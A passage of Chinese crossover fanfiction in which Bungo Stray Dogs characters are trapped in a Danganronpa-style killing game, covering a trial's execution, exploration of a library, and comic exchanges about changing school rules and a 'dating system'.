“当然不算!”黑白熊飞快变脸,它气冲冲地站起身,冲条野采菊挥舞起拳头,“这种角度就跟从楼顶上推花盆下去没想到会砸死人一样!既然立原同学对与谢野同学造成了伤害,那麽只要最终与谢野同学死了,立原同学就算杀人了!” “……要是没有后续你增加的规则,现在你肯定算作与谢野晶子是自杀吧。”花言手中剥着另一个橘子,面无表情地戳破黑白熊看似道貌昂然的一面。 “才不会!”黑白熊欲盖弥彰地紧急转移话题,“总之现在辩论的结果已经出来了,是时候进行投票环节了,请用你们手边的投票按钮来投票,顺带一提,投错人或者是弃票都会全员处刑。” “投什麽票?!这种破游戏早该结束了!” 大仓烨子从位置上暴起,一脚踩上身前的木栏,看起来想要借力冲上去扯烂黑白熊,旁边的条野采菊反应迅速抓住了对方。 “冷静,副队长,之前的爆炸你也看见了,就算你现在破坏了这只布偶,之后也会有新的出现,想要结束只能找到幕后黑手。” “没错,烨子,冷静下来。”福地樱痴面色肃然。 “安心啦,副队长,毕竟这个空间很怪,也许我最终不会死呢?” 立原道造说出的话像在纯粹安慰,也像是借此提醒大仓烨子这个地方的违和之处。 大仓烨子深吸一口气,在众人的劝说中压下心底的怒火,耐着性子站回了原位。 投票倒计时不断减少,立原道造的票数不断增加,在时间结束的那一刻,黑白熊欢呼地举起双臂。 “yahoo,完全正确!本次案件中杀死与谢野晶子同学的凶手就是立原道造同学!作为第一个‘勇敢’的同学,于是乎我为‘超高校级的卧底’立原道造同学准备了特别的处罚!” 一个红色的按键在审判席面前的地板上升起,黑白熊拿出锤子敲了下去,宣布处罚开始。 这片空间似乎到处都是机关,被血色窗帘遮盖住的墙壁被打开,从中伸出一枚铁环倏地扣住了立原道造,将后者拖进了一片空旷的局域。他抬起头,发现面前是一轮转盘,转盘上一边是军绿色底用红字写着“军事法庭”,另一边是暗沉的红底用黑字写着“叛徒惩罚”。 没等立原道造反应过来,轮盘自己开始转动,上面的指针最终缓缓停留在“军事法庭”。 原本空旷的局域迅速变得拥挤,地面下升起了审判庭,不同于学级裁判的场地,这一次审判庭上无论是审判席还是观众席上都坐满了“人”,确切来说,它们都是黑白熊。 伴随着审判席上锤子再一次落下,黑洞洞的枪口冒出火光。 在一片枪林弹雨中,这次处刑随之落幕。 剩余众人口袋中的电子学生手册不约而同地发出一声轻响。 忙活了半天的黑白熊不知道从哪掏出手帕装模作样地擦了擦汗,“希望之峰学园在每次学级裁判后都会有“新世界”向大家开放,另外我更新了一条规则,方便大家行动——毕竟如果不做出些改变的话,你们肯定会‘萎靡不振’吧。” 花言下意识想要拿出电子学生手册看一眼新规则,但是拿到一半又想起来自己看不清,于是凑到了费奥多尔身边,后者很清楚对方会靠近的缘由,轻声说道。 “添加加的规则是——“在‘白天’杀人也能开启学级裁判”。” 这条规则看起来十分莫名其妙,但落在已经察觉到时间异常的人眼中,却相当于是某种证实——证实这里的时间果然有问题。 “果然是在做梦吗?”中岛敦疑惑出声。 “唔噗噗噗,这里可没做梦那麽简单。”黑白熊嘲笑道:“如果认为是在做梦而肆无忌惮的话,最后肯定会后悔的哦。” “诶?”中岛敦微愣,旋即又很快反应过来,趁机质问,“‘白天’究竟是什麽意思?我们的记忆是不是有问题?” “你以为问出来了,我就会告诉你吗?”黑白熊亮出了爪子,“如果想知道的话,就自己去调查!比如说在你问我的时候已经有两名同学趁这个机会抢占先机了!” 花言顾周围,果不其然发现少了两个人。 “西格玛和果戈里呢?” “唔……他们在电子学生手册上地图更新的那一刻就离开了,可能是去探索新开放的第二层了。”费奥多尔望向他们离开的方向,朝花言发出邀请,“我们也走吧。” 花言应了一声,没有在意中岛敦跟黑白熊的后续发展。 他跟在费奥多尔身边,后者看着手中的地图,“二层大致分为游泳馆和图书馆两个局域,我们先去图书馆怎麽样?” “好。” 花言对于这个倒无所谓,相比之下他更在意如果每经历一次学级裁判就会开启一层新的局域,那麽这所校园的秘密也会浮出水面,到时候他们得到的线索是会有关自身,还是仅能得到这所校园的东西? 图书馆内层层叠叠的书架上整齐地陈列着各种书籍,就连桌椅上也放置着书本,花言打开图书馆内的房门,发现里面昏暗的小房间里也没有果戈里和西格玛的身影。 这两人是去游泳馆那边了吗? 费奥多尔饶有兴致地翻看着书架上的书籍,花言没找到果戈里和西格玛,无所事事地开始翻箱倒柜,不出意外地从抽屉里翻找出了像是坏了的笔记本计算机,以及一封希望之峰校长的信件。 花言有些想确认信件上的内容,他回头喊了一声身后正在翻看书籍的少年,“能帮我看下这个吗?” 听见声音的费奥多尔放下手中的书籍走了过去,发现才一会没注意,对方面前已经多出了一台笔记本计算机以及一封信。 他沉默了片刻,还是接过对方手中的信件拆开,为对方念出了上面的内容,“上面写着这所学园已经被废弃了,在不久的将来,只要问题得以解决,学校就会恢复正常运营……看起来黑白熊极有可能并不是校长呢。” “毕竟无论什麽学校都不可能让只布偶做校长吧……” 花言没想到对方居然会在得到证据的时候才说出这一点,难道对方之前考虑过布偶做校长的可能性吗? 不过仔细想想,费奥多尔活了那麽久,再加上对方所处的世界连异能都有,所以认为布偶做校长并不是什麽奇怪的事也很正常…… 花言陷入了沉思。 费奥多尔不置可否,他将信件放回了对方手中,开始研究那台计算机。 “您觉得我们要怎麽样才能出去呢?制造一场完美犯罪?” “这是一个方法,不过那样最后只有一个人能出去,找出幕后黑手可能会更高效。” 花言站在对方身侧,看着对方修长的指尖敲击键盘。 “您也觉得幕后黑手在我们之中?” 费奥多尔确认计算机开不了机,有些遗憾,“看起来需要修理一下才能使用了。” “回宿舍吧,那里有工具包。” 花言弯腰抱起计算机,垂落的斗篷刚好能够遮住一切,他接上费奥多尔的前一个问题,“我不确定,他可能在我们之中,也可能正躲在某个地方,就像是某种推理游戏一样,伴随着开放的局域越多、得到的线索越多,我们总会知道。” 费奥多尔走在对方身侧,“这样看来,还需要再死几个人才能得到最终答案。” 花言认为其实也不一定,毕竟黑白熊给他们的材料里有火药,既然如此炸开就好了。 不过可惜的是他不知道黑白熊给每个人准备的火药有多少,够不够炸开墙壁,同样的,他的火药已经用完了,如果想炸的话,只能抓黑白熊来炸了。 花言回想了一下黑白熊对他的警惕,不知怎麽,他总觉得一旦黑白熊知道了他的目的,肯定就不会再轻易出现在他面前,这种计谋似乎只能用一次,而且用了肯定会被黑白熊疯狂报复,所以还是算了。 两人穿过走廊来到楼梯口,刚好遇见正打算上楼的武装侦探社几人,双方相遇不约而同地都愣了片刻。 太宰治目光从两人身上扫过,意味不明地开口。 “你们的关系还真好呢。” 花言急着去修计算机,听见这句话潦草点头,客气地回复,“你们也是。” 费奥多尔微笑着没有回答,仅微微点头表示告别。 太宰治站在楼梯上望着两人匆匆离去的背影,眉头微皱。 这两人一定发现了什麽,花言怀里似乎抱着什麽东西,只不过在斗篷的覆盖下看不真切。 不同于武装侦探社其他两人对费奥多尔的陌生,坂口安吾顺着太宰治的视线,察觉到了对方的怀疑。 “你怀疑“魔人”费奥多尔是幕后黑手吗?” “毕竟怎麽想,我们之中可能性最大的就只有他了吧。”太宰治微微耸肩,“当然,也有可能幕后黑手躲在更上面的楼层。” 坂口安吾听出了对方的言下之意,“如果想要结束这场自相残杀,难道只有不断死人这一条路吗……” “其实也不一定。” 太宰治将视线从已经看不见那两人背影的楼梯拐角处收回,后面的话在监控之下没有说出口。 …… 由于费奥多尔说自己房门意外锁上了没把钥匙带出来,因此花言慷慨贡献了自己的房间给对方修理这台计算机。 对于这个说辞,花言其实十分怀疑对方房间里是不是有什麽秘密不想让他知道,所以才故意这麽说的。 他有点想跟对方说自己会开锁,但是考虑到彼此的人身安全,还是决定找个对方不在寄宿区的时间再悄悄去一探究竟。 费奥多尔坐在书桌前用花言工具包中的工具打开了计算机后盖,修理的过程枯燥无味,花言趴在一旁看了一会儿又想去食堂,这地方对他来说也只有食堂有那麽一点意思。 费奥多尔余光注意到身侧少年趴在桌子上来回压两侧脸颊的小动作,知道对方大概率是觉得无聊了,“修好这台计算机还需要点时间,现在应该不会再出什麽事了,您可以去您想去的地方,计算机修好后我会第一时间通知您。” 有对方这句话花言就安心了,他直起背脊,“我打算去食堂,你有什麽想吃的吗?我可以带来给你。” “谢谢您的好意,不过我不怎麽饿,不用麻烦您了。”费奥多尔手中有条不紊地调试计算机零件。 花言应了一声,拉开门去往寄宿区隔壁的食堂。 食堂里依旧空无一人,这可能是因为在时间因素下,所有人的饥饿感和困意都不是太明显的缘故。 花言其实也不饿,单纯是无聊的时候想找东西吃。 他翻箱倒柜又从冰箱里找到了一碗茶泡饭,还没来得及开吃,只听食堂门口忽然响起一声大笑。 “哈——哈哈哈——!我就说他会在这里吧!” 果戈里站在门口自得地对身旁的西格玛说道。 西格玛无奈地扶着头,只觉得自己实在是不能理解果戈里。 花言没有理会果戈里,他争分夺秒扒拉碗里的茶泡饭,如果这一次再被打断,那就是四次了。 之前第一次被黑白熊说是夜间时间段打断;第二次被广播打断——当然没打断也去不成,想他忘记了那个时候还是夜间时间段;第三次是搜查时间,为了方便搜查,原本禁止入内的局域会被打开,但是他进了食堂只来得及捞两橘子就又被叫走去参加学级裁判。 哪怕花言原本不饿,也被这接二连三的阻止激起了几分好胜心,现在好不容易抓住了机会,当然要先吃再说。 果戈里不在意花言的冷漠,他热情地凑到对方身边。 “花言——你猜我们在男生厕所发现了什麽?” 花言:…… 他艰难地咽下嘴里的饭,“你一定要在我吃饭的时候提起这个词汇吗?” “哎呀……”果戈里像是才注意到对方在吃饭,“抱歉抱歉。” 花言没从对方语气里听出歉意来,他加快了吃饭的速度,“发现了什麽?暗门?” “恭喜你!答对了——!”果戈里兴奋地打了个响指,旋即又疑惑地问道:“咦?你怎麽会知道?难道说——” “不,我猜的。”花言从碗里抬起头,幽幽说道:“按照密室杀人的一贯风格就是这样,那个暗门肯定还很难发现,现在你该说你在里面发现了很有意思的东西,想带我去看看,然后我跟过去,你们就会趁机把我在密室里杀掉,这样一来即使我尸体臭了都不一定有人能发现。” 完全被说中心思的果戈里:…… “哈哈,怎麽会呢?” 花言不为所动地盯着对方,“那你说里面有什麽。” “呃……这个一时半会很难说清,我觉得你亲自去看看会比较好哦。”果戈里说着开始左顾而言他,“说起来陀思君呢?怎麽没看见他?” “他有事回房间了。”花言言简意赅地概括,又将话题扯回正轨,“你确定真的要我亲自去看看吗?如果你们真的想在那里杀我,那我觉得你们还是打消那个念头比较好,毕竟你们前几次都没能成功,而且密室风险很高,搞不好我们三个都会被困在里面哦。” 说到这里,他疑惑地看向西格玛,“你应该也知道这场自相残杀游戏最后只能出去一个人,为什麽还要跟果戈里合作呢?是误认为协助杀人也能毕业吗?” “花言——” 果戈里脸上露出夸张的惊恐,他揪着斗篷挡在对方与西格玛之间,仿佛看见了什麽极为恐怖的东西,“你现在难道是想诱导西格玛跟我反目成仇——来杀我吗?” 花言没有否认对方的猜测,故作阴郁地笑了笑,“谁让你总想杀我。” “哇呜!好可怕——” 果戈里躲在了西格玛身后,这份害怕的模样没能持续一秒,他很快像是想到了什麽合理的借口,言之凿凿地辩解。 “但是……谁让花言你一直隐瞒自己的‘才能’呢?我们是真的很好奇能让黑白熊如此在意的究竟是什麽,万一能让我们都平安出去呢——?!” 果戈里想到了前几次的离谱发展,脑海中逐渐产生了一个大胆的猜测,“难道你的‘才能’其实是‘超高校级的诅咒师’?你把我们都诅咒了?” 花言:…… “如果有这种‘才能’,我现在就诅咒所有人,这样我都不用参加学级裁判就能毕业了。” “好阴湿的想法!”果戈里抗议出声。 花言从茶泡饭里捞起梅子塞进嘴里,回到最初的话题,“所以你们在那里面发现了什麽?” “是什麽呢——?”果戈里竖起手指抵在唇边,“不如花言你先说说,你们发现了什麽吧?” 花言简略地只说了一半,“校长的信件,但不像是黑白熊写的,其中内容大致是说这所学校已经废弃了。” 果戈里若有所思地点头,信守承诺地说出了他们发现的东西,只不过花言觉得对方说了跟没说差不多。 “其实那里面什麽都没有,虽然像是隐藏数据室一样的地方,但里面都被搬空了,什麽都没留下。” 花言:…… “所以你果然是想把我骗进去杀是吧?” 果戈里:…… “哈哈……你怎麽能冤枉我,即使我们什麽都没发现,但万一你能发现些什麽呢?” “谢谢你这麽看得起我。”花言重新将注意力放在了手中的茶泡饭上,只想把对方赶走,“只不过比起我,我觉得费奥多尔发现隐藏信息的可能性会更大——毕竟你不是也不知道他的才能吗?说不准他是‘超高校级的侦探’什麽的哦。” 果戈里闻言微愣,他缓缓陷入沉思,在一番深思熟虑后,他震惊地发现对方说的很有道理! 如果是侦探,那黑白熊当然会故意提醒想让对方处于风口浪尖上,只要对方率先出局,这样就没人能轻易看破背后的阴谋了。 他拉着西格玛往寄宿区跑去,不忘挥手感谢,“花言——谢谢你的提议!” “不用谢。”花言敷衍地随意挥手,好心提醒,“他没带钥匙进不去自己房间,所以在我房间里。” 果戈里远远应了一声。 伴随脚步声远去,食堂重归寂静。 他终于能安静品尝食物了。 第62章 回忆起昨晚全程的花言默不作声地拉高被子盖住了头。 系统看见对方的动作十分不解,它来回检测了一遍昨晚的事,没发现什麽能够让对方感到不想面对现实的因素。 【宿主,你昨晚好像没做什麽坏事吧?】 系统觉得对方干的最大坏事可能就是为了安心吃饭,把果戈里和西格玛骗到费奥多尔那边去了。 [马路牙子。] 花言双手揪着被子,状似平静地问。 [你喜欢热血战斗频道吗?] 系统:? 【呃……】 系统不明白对方问它这个问题的用意,它小心翼翼地试探。 【我应该喜欢……吗?】 [我觉得你不应该喜欢,因为你是攻略系统,不过马上你的宿主就要进入热血战斗频道了。] 花言深吸一口气,目光微死。 系统仍旧不知道对方这个结论是怎麽得出来的,但它注意到对面的黑发少年坐起身短暂发呆后下床了。 刹那间,它仿佛明白了一切。 系统大惊,【攻略目标又要杀你?!】 为什麽啊?! 花言险些被对方的骤然扬起来的音调和恐怖的猜测吓得精神衰弱,他咬牙切齿。 [不是费奥多尔!他应该不想杀我……大概……] 原本坚定的想法逐渐动摇,真的不想吗? 花言产生了怀疑。 虽然说他昨晚除了给费奥多尔编了个“超高校级的侦探”,把果戈里和西格玛诱骗去对方那边之外,没做任何针对对方的事情,对方也不至于会因此对他起杀心。 但是万一费奥多尔现在得知学级裁判规则后,喜欢上这种自相残杀的游戏了呢?毕竟对方如果成功毕业,能一次性消灭所有潜在敌人,之后进入横滨岂不如同踏入无人之境?想找多久“书”就找多久“书”,在有“书页”的情况下,哪怕全员处刑的人中有中岛敦也没关系。 花言抽了一口冷气,飞速改口。 [他应该不会在现在杀我。] 对方如果想独自毕业,最起码会先干掉太宰治,或者会先耐心等待其他人动手,为自己减少风险和难度。 【那会是谁……?】 系统注意到费奥多尔进了浴室,再次出来时已经换好了漆黑的校园制服。 [“猎犬”和武装侦探社。] 花言没忍住又往被子里团了一下,语气沉重。 [他们现在肯定会来找我要个解释,万一没有谈好,说不准大仓烨子就会冲上来把我撕碎。] 昨晚对方看起来就想撕碎黑白熊,只不过被拦下来了,今天可不会有人再拦下对方。 [到时候他们肯定会问我同伴的生死,我无论怎麽回答,他们都会进一步问我的目的,难道要我说——我这麽大费周章只是想跟费奥多尔在校园谈个恋爱吗?] 那这恋爱谈的还怪费命的。 那些人肯定也会用奇怪的视线看他,并问他,他们是不是也成为了play的一环。 让他说出这种话还不如让他们都以为自己是幕后黑手,他宁可大战三百回合。 说起大战三百回合,花言想到了这个学校的校规。 虽然校规上只写了不能打架斗殴,没写不能杀人,可如果想杀人,那被杀的人肯定会奋起反抗,到时候肯定会演变成打架斗殴,不就等同于违反校规了吗? 白天的校规和黑白熊添加加的规则完全自相矛盾。 还是说后者是想让他们都趁其不备杀人?如果想趁其不备,那岂不是只能对身边信赖自己的同伴下手了吗? 花言骤然感受到了黑白熊的用心险恶。 【为什麽不可以?】 系统果然还是无法理解自家宿主奇怪的执着。 花言刚想回答对方,只听费奥多尔的嗓音忽然响起。 “您今天也不打算去上课吗?” 费奥多尔注视着床上近乎团成一个球的被子,逐渐意识到对方这种反应或许是在试图逃避晚上发生的事。他回想起昨晚修理计算机时,对方无聊到左右来回压脸颊的小动作,眼前的少年似乎总会在一些小动作上暴露真实的想法。 花言听见对方的询问有些犹豫。 要去吗?去上课很麻烦,而且也容易被堵。 可不去上课的话,岂不是显得自己在逃避现实很懦弱吗?! 花言目光瞬间坚毅起来了。 “不,我去上课!” 费奥多尔听见这个回答有些意外,随着对方话音落下,一只手从被窝里探了出来,那只手在床侧摸了半天什麽都没摸到,最终停了下来,像是在怀疑人生。 看得费奥多尔没忍住从床头拿起墨镜放进了对方手里,后者拿到墨镜很快缩回了被窝,其中传出一声模糊不清的“谢谢”,紧接着白发少年从被窝里探出了头,宛如下定了某种决心,一鼓作气地起身下床进浴室换衣服。 花言做足了心理准备才从浴室中出来,但就在他刚踏出浴室门的那一刻,寝室门猛地被人敲响。 门外响起看似彬彬有礼的声音。 “早上好,花言,我们有事找你。” 这声音像极了条野采菊,细听还能听见大仓烨子不满的抱怨,像是在问为什麽要这麽客气、不直接破门而入抓住询问、反正这里面住的都不是好人之类的。 费奥多尔在听见敲门声时下意识想要开门,但听见条野采菊的声音时,他又停下了动作,打算先看下花言的反应,结果这一看,刚好看见对方已经一只脚跨出了窗户。 费奥多尔:…… “您……” 花言知道费奥多尔想说什麽,他率先打断了对方,试图挽回自己的形象,“我只是看好像快迟到了,所以想走的更快一些。” 费奥多尔委婉地暗示,“……这里好像是十楼。” 花言面不改色,“我练过攀岩,可以顺着水管爬下去。” 不到万不得已,他不想这麽快跟“猎犬”打起来,毕竟不用异能他打不过“猎犬”,而一旦用异能,所有人都会知道他有异能这件事了,到时候情况会更复杂。 费奥多尔:…… “我知道了。”费奥多尔无奈地轻轻叹了口气,“如果您不介意,我替您跟他们解释如何?” “可以吗?!” 花言把跨出去的腿又收了回来。 费奥多尔视线落在对方脸上,那张似常年不见光而略显苍白的脸上浮现出期待的表情,他唇角浮现出笑意,“当然。” “那麻烦你了。” 花言相信对方的能力,只要对方想,那一定能够替他敷衍过“猎犬”,就算对方使什麽计谋,也不会有比跟“猎犬”大战三百回合更坏的发展了。 他望着对方将门打开一条缝从中走出,在门合上的瞬间,花言悄无声息地贴到了门后,试图偷听。 只不过令他遗憾的是那几人似乎并没有选择在门外交流,而是去了更远的地方,以至于他怎麽努力都什麽都没听见。 花言惋惜地坐回桌边,撑着下巴等待对方回来。 费奥多尔去的时间有点久,久到花言都开始思考要不要先去上课算了。 等宿舍门再一次被打开时,花言又突然明白对方为什麽会去那麽久了——原来是替自己买早餐去了。 “猎犬”像是已经被说服离开了,门外只有费奥多尔一个人,对方手中提着一袋包子,比起最初的一个,这次数量显然翻了两倍。 花言有些怀疑包子数量比之前多,是不是因为他无论是去“涩泽龙彦”那里、还是晚上在参加自相残杀游戏时都经常在吃,所以给对方留下了自己可能很能吃的错误印象。 “抱歉,稍微花了点时间在路上。” 费奥多尔眼眸中流露出些许歉意,将包子放在了少年面前。 他垂下眼眸,观察对方脸上每一个细微表情,缓缓说明,“我已经帮您解释清楚了,不过您也知道我并不了解您的全部,所以我使用了一点谎言——以您在那场自相残杀游戏开启后一直请假为缘由,说您身体不适,而身体不适的原因则来自于夜晚的自相残杀游戏……十分抱歉……” 这简直是天才! 从某种程度上来说,对方说的确实没错,这怎麽能算撒谎呢?他确实因为那场自相残杀游戏而不适了,谁说心理上的不适不算身体的作用域?! 对方真是太客气了! 花言安慰道:“不用道歉,我觉得这不算是谎言,你并没有欺骗他们。” 费奥多尔没从对方反应里得到什麽反馈,他面上露出恰到好处的苦恼,“不过这样一来,可能需要您减少外出……或者尽量不要外出了,否则到时候他们可能会发现什麽不对劲的地方。” 这岂不是说明他能正大光明不去上课了?! 花言狂喜! 不愧是费奥多尔,轻易做到了其他人做不到的事! 花言矜持点头,“没关系。” “您不介意就好。”费奥多尔似松了口气般,眼眸中重新浮现出温和的笑意,“如果您有什麽想吃的可以通过电子学生手册告诉我,我会为您带来的,包括有什麽急事,也可以喊我去替您完成,毕竟……是我的原因才造成您不方便出门的。” 太贴心了! 花言简直要当场落泪。 他感动地跟对方交换了联系方式,目送对方去上课。 伴随寝室门再一次合拢,寝室内重新恢复一片寂静。 直到开始享用早餐,花言才后知后觉意识到了某种不对劲。 他沉思着喊出了系统。 [马路牙子,你有没有觉得好像有哪里不太对劲?] 感觉自家宿主已经在攻略之路上一跃千里的系统正感动的眼泪汪汪——虽然它没有眼睛也没有泪,但这并不妨碍它感受到前辈们口中名为“吾儿初长成”的那种喜极而泣。 听见这个问题,它有些茫然。 【哪里不对劲?攻略目标自愿替你带饭,当你的跑腿,知道你不想上课,帮你想了一劳永逸的借口……】 系统来回翻看了一遍,得出结论。 【宿主,他超爱!】 [但是他让我最好不要出门。] 花言敏锐提出了问题所在。 系统闻言也缓缓陷入沉思,半晌,它恍然大悟。 【我知道这个!这是囚禁play!这一定是因为他已经无法自拔地喜欢上了你,对你产生了强烈的占有欲,不想让其他人接触,又舍不得伤害你,所以想要用这种方式将你困在身边!】 花言:…… [你不觉得比起这种可能,他更像是想要瞒着我悄悄搞事吗?] 比如说想打什麽信息差之类的,等他反应过来不对劲,外面已经是费奥多尔的天下了。 又或者是那种悬疑剧里经常出现的剧情,对方想要尽量减少外界对自己的关注,等确认了黑白熊添加规则——白天杀人的尸体到夜晚会变成什麽样,再对自己动手,这样一来即使对方杀了自己,其他人也很难推断出死因究竟是他自身的问题,还是费奥多尔动的手,到时候对方就能达成完美犯罪、成功毕业了。 花言警觉起来了! 第63章 哪怕警觉起来了,快到中午的时候花言依旧给对方发了自己想吃什麽的消息,对方那边回的很快,也没有让他等太长时间。 费奥多尔送来午饭后并没有立即离开,仿佛是知道他会无聊般跟他聊了会天,直到临近上课时间才告别。 这样一来,既视感更重了。 花言原本想躺在床上睡个午觉,但发现早上睡过一次了,有点睡不着,于是又爬起来,他无聊地把整个寝室都研究了一遍,连带着费奥多尔放在桌子上没有收回去的数据都翻看了一遍,最后实在无事可做,还是准备出门去食堂溜达一下。 [马路牙子,你还能不能再回去升级?] 花言在呼吸自由空气的同时,不忘压力一下系统。 【短期内好像不太行……】 系统吞吞吐吐地解释。 【如果我回去的太频繁,它们会认为我能力不够,搞不好会让我‘回炉重造’……】 这麽恐怖吗?! 花言大为震撼,这年头怎麽连系统都有指标,还这麽卷啊?! 这让花言想起了弗朗西斯之前说过的一些绩效考核、末位淘汰制之类的,听起来就恐怖至极的东西。 他前脚刚踏进食堂,后脚就听见食堂里响起了熟悉的声音,仿佛脑海中的声音外放了一样。 “嘿,我的朋友,你也来吃饭吗?” 花言下意识循声望去,发现弗朗西斯正坐在靠窗的位置上对他招手,午后的阳光透过玻璃窗撒落,衬得对方一头金发愈发耀眼。 总觉得对方好像自带某种光源。 这难道也是有钱人的力量吗? 花言不明白,但这并不影响他回应。 “我来看看有没有什麽好吃的。” “好吃的?”弗朗西斯摸了摸下巴,显然他对食物的要求比花言要苛刻不少,“那可能要让你失望了,我的朋友,这里的食堂饭菜只能说勉强能入口,如果想要好吃的话,可能还是得出校外,但如果没有合理的理由,那个该死保安不会放人离开学校。” 说到最后弗朗西斯的语气有些咬牙切齿,似乎也在广津柳浪身上吃过亏。 花言觉得至今为止出了校门的可能只有森鸥外,而其他人出门难度增加,怎麽想都有森鸥外的手笔。 他理解地点头,“这也是他的职责所在,总不能让他违反校规吧。” 这句话似乎让弗朗西斯想起了什麽,对方表情变得若有所思。 趁对方陷入思绪,花言飞速跑去看看有没有什麽好吃的,但可能是他现在来的太晚了,已经是上课时间了,所以能够供他选择的东西并不多。 花言看来看去,干脆拿了个苹果在手里啃。 在路过弗朗西斯身边时,后者忽然出声,“我有事跟你说,花……花样?花仰?花……” “花言。” 花言纠正了对方口中自己的名字。 弗朗西斯打了个响指,“就是这个!” 花言对对方记不住自己名字这件事已经习以为常。 “什麽事?” 弗朗西斯揽住花言脖颈,将后者拉到身侧一同坐下才神神秘秘地压低嗓音开口,“是关于校规的事,我刚刚午休无聊的时候翻看了一下,才发现手册上面的校规好像发生了变化。” 花言闻言眉头微皱,“发生了变化?具体是什麽时候的事?” 弗朗西斯的手册应该是教师手册,对方也没有参加黑白熊的自相残杀游戏,就算校规有变化,难道不该是他们这些参与了自相残杀游戏的人发生变化吗? 还是说这是黑白熊在给他们上强度? “不知道。”弗朗西斯耸了耸肩,“你知道的,我不怎麽关注这个,也只在最初的时候看过一眼。” 注意到身侧少年脸上仿佛浮现出了无奈的神情,弗朗西斯认真回想了一下,“可能是今天早上?因为我看坡一脸慌张的样子跑出去了。” “坡?”花言疑惑地重复了一遍这个人名,“他也在?” 对方不是学生,应该也不是老师,他没在教室里见到过对方,但同样也没有在校园内见到过,他还以为对方没来。 “嗯哼,他跟我一个寝室。”弗朗西斯对此并不在意,“好像是负责管理男学生宿舍的吧。” 花言:…… 一瞬间,花言明白为什麽自己没有见过对方,并且为什麽无论男女都能来敲响他寝室门了。 真的假的? 让一个社恐管理男学生宿舍吗? 花言很怀疑对方是不是已经违规了,又或者是跟他一样用装病的借口,假装自己眼睛被头发遮住了,所以眼神不太好,没发现宿舍楼已经变成任何人都能来去自如的自由之地了。 弗朗西斯没有浪费太多时间在这个无关紧要的话题上,他言归正传。 “说真的,你是不是在暗中筹备什麽?你最近一直没来上课,请假的理由也是千篇一律的身体不适,我还以为你真的出了什麽事,但现在看又不太像有事的样子……” “而且从昨天开始,武装侦探社之间的气氛就有些奇怪,那个医生表现得就像是普通学生一样。今天军警和港口mafia那边的气氛都变得有些奇怪,港口mafia有个下属没来上课,说是转学了。” 说到这里,弗朗西斯的语气有些稀奇,“一夜之间转学的情况,我还是第一次见到,如果真的有这麽高的效率,我一定会对这所学院另眼相待。” 花言知道弗朗西斯指的是谁,那个转学的人应该是立原道造,他没有对方的校园系列角色卡,同样对方也没有出校园版的卡面。 因此对方的学生身份是在进入这个副本时,系统临时捏造的转校生身份,现在对方在自相残杀游戏里被淘汰,这个身份也自然而然的随之消失。 “确实发生了点事。” 花言含含糊糊地啃了口手中的苹果,试图蒙混过关。 “你其实不用瞒着我。” 弗朗西斯另一只手从口袋里抽出了电子教师手册,在对方面前打开,翻到了某一页。 花言看清上面的字后不由得瞳孔地震。 只见上面赫然写着——“当校园内发生凶杀案时,你可以选择隐瞒线索、可以选择告知,也可以选择阻止搜查”。 弗朗西斯得意地摇了摇手中的电子教师手册,“我记忆力很好,这一页之前写着的可是‘不能隐瞒信息,不能阻止学生搜查’这种看起来莫名其妙的校规。” 黑白熊!你在干什麽啊黑白熊! 花言在把锅甩到黑白熊身上时又意识到不对,现在应该说——[马路牙子!你在干什麽啊马路牙子!你看看你缝合的副本!怎麽都混到一起了?!] 之前像是规则怪谈也就算了,现在更是装都不带装了,直接把凶杀案摆出来了。 这是要干什麽?在这所校园来一次史上最大最恶的绝望事件,把所有人都变成绝望残党吗?! 【但是,宿主,你不觉得这样有一种推理小说剧情中循序渐进——不断发现信息、靠近谜底的紧迫感吗?】 系统不甘心地辩解,它为了设计这个副本其实花费了很多心思的!短时间内急速运转CPU到险些短路呢! [我们这不是校园恋爱频道吗?] 花言发出了灵魂质问。 【呃……因为伴随着在晚上自相残杀游戏中淘汰人数的增多,我需要给白天的校园打点补丁,不然没有被选中的人岂不是会没有参与感……而且白天和夜晚两个校园之间的贯通融洽也很重要。 当然,我也没有忘记攻略任务的事情,在我最初的预测里,现在你跟攻略目标应该已经谈上恋爱了。通常校园恋爱都不会一直平静如水,会出现点小小的波澜用于助感情更进一步,比如说转学、家庭、考试之类的因素,由于这些在这里都没有,对于你们来说也不成问题,所以我用了一些别的来替代。 这样白天校园恋爱携手破案,晚上共处极端危险情况,不是很丰富多彩吗?】 系统声音略显心虚,说出来的内容也像极了狡辩。 花言回忆起他最初问怎麽离开,对方却说不知道的事,十分怀疑对方是套了个无限流模板投入两副本数据开始随机生成剧情了。 身边的弗朗西斯还在滑动着屏幕,“其实不止有些校规发生了变化,还多出了一条校规。” 花言回过神将注意力重新集中在对方身上,屏幕中最后一页的规则与其他校规不同,更像是某种提醒,晦暗不明的同时,也显得有些诡异。 ——“只能选择帮助一个人查明真相或隐瞒真相,如果帮助的对象死亡,你也将被淘汰”。 这是正经校规吗? 怎麽一股黑白熊味。 花言陷入了沉思,“添加的规则是只有教师有,还是其他人都有?” “应该是都有吧?我不确定,我只看了路易莎和坡的。” 弗朗西斯说出了两个名字,他们一个身份是学生,一个是管理员。 只要得知学生身份也有,就已经足以让花言确定猜测了。 他沉默了一会儿,对弗朗西斯解释道:“并不是我不想告诉你,而是有某种限制……” 弗朗西斯瞬间理解,不再追问,“我知道了。” “我投资从来不会……不,应该说很少失败。”弗朗西斯脸上笑容依旧灿烂,口吻无比自信,“我已经将筹码压在了你身上,我相信你一定会赢。” 真的吗……? 会赢吗? 花言都有些不太相信自己,以至于他都不好意思跟对方说其实看见规则的那一瞬间,他脑海里想的是——这样岂不是能够依靠全灭结局让所有不属于这个副本的人出局,结束这个副本吗? 这个方法比起晚上失忆找什麽幕后黑手简直太便捷了。 毕竟他现在有异能,在白天淘汰其他人对于他来说相当简单,只要把所有对手都干掉,再在夜晚来临失忆前自杀,基于这条规则,全部等同于所有人都会被淘汰,都没参与者了,这个副本自然也就结束了。 只不过…… 花言想到自己的攻略任务,又想到了这样做可能会拉上的仇恨值,以及对方身上此刻散发出的、近乎要刺瞎他的信任光辉,只能忍痛放弃。 他昧着良心点头,“我也相信我自己能赢。” 花言伸手指了指对方手中的电子教师手册,“这个可以给我看一下吗?” “当然。”弗朗西斯大方地塞进了对方手里,“给你都没问题。” 花言:? “真的没问题吗?你不用靠这个进寝室和吃饭吗?” “哦,不用,我可以用坡的进寝室,用路易莎的吃饭。” 弗朗西斯相当自然地说出了压榨下属的话。 花言:…… 不知怎麽,他忽然觉得手中的电子教师手册好像附上了某种不得了的怨念。 第64章 